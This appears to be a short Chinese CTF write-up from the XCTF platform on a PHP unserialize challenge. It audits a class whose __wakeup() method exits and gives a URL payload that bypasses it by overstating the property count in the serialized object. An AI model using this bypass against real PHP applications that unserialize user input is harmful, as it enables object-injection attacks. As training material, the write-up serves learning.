攻防世界|反序列化|绕过 __wake()|

打开题目后,显示出来是一个不完整的PHP代码——括号都没有完全闭合
image
审计如下:

点击查看代码
<?php
// 定义一个名为xctf的类
class xctf{
    // 定义一个公共属性$flag,值为'111'(通常这类属性可能存储敏感信息,如flag)
    public $flag = '111';
    
    // 定义__wakeup()魔术方法
    // 这是PHP的一个特殊魔术方法,当对象被反序列化(unserialize())时会自动调用
    public function __wakeup(){
        // 执行exit()函数,输出"bad requests"并终止脚本运行
        // 作用是阻止反序列化操作完成,可能是为了防止恶意利用
        exit('bad requests');
    }
}
// 注意:代码末尾可能存在接收URL参数并进行反序列化的逻辑,如:
// $code = $_GET['code'];
// unserialize($code);
// 当URL中传递?code=xxx时,xxx会被作为序列化字符串进行反序列化处理
?>

image

-----------补充

image
image
image
image

-----------结束补充

绕过payload:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

image

posted @ 2025-08-25 16:52  Dragon_Roar  阅读(2)  评论(0)    收藏  举报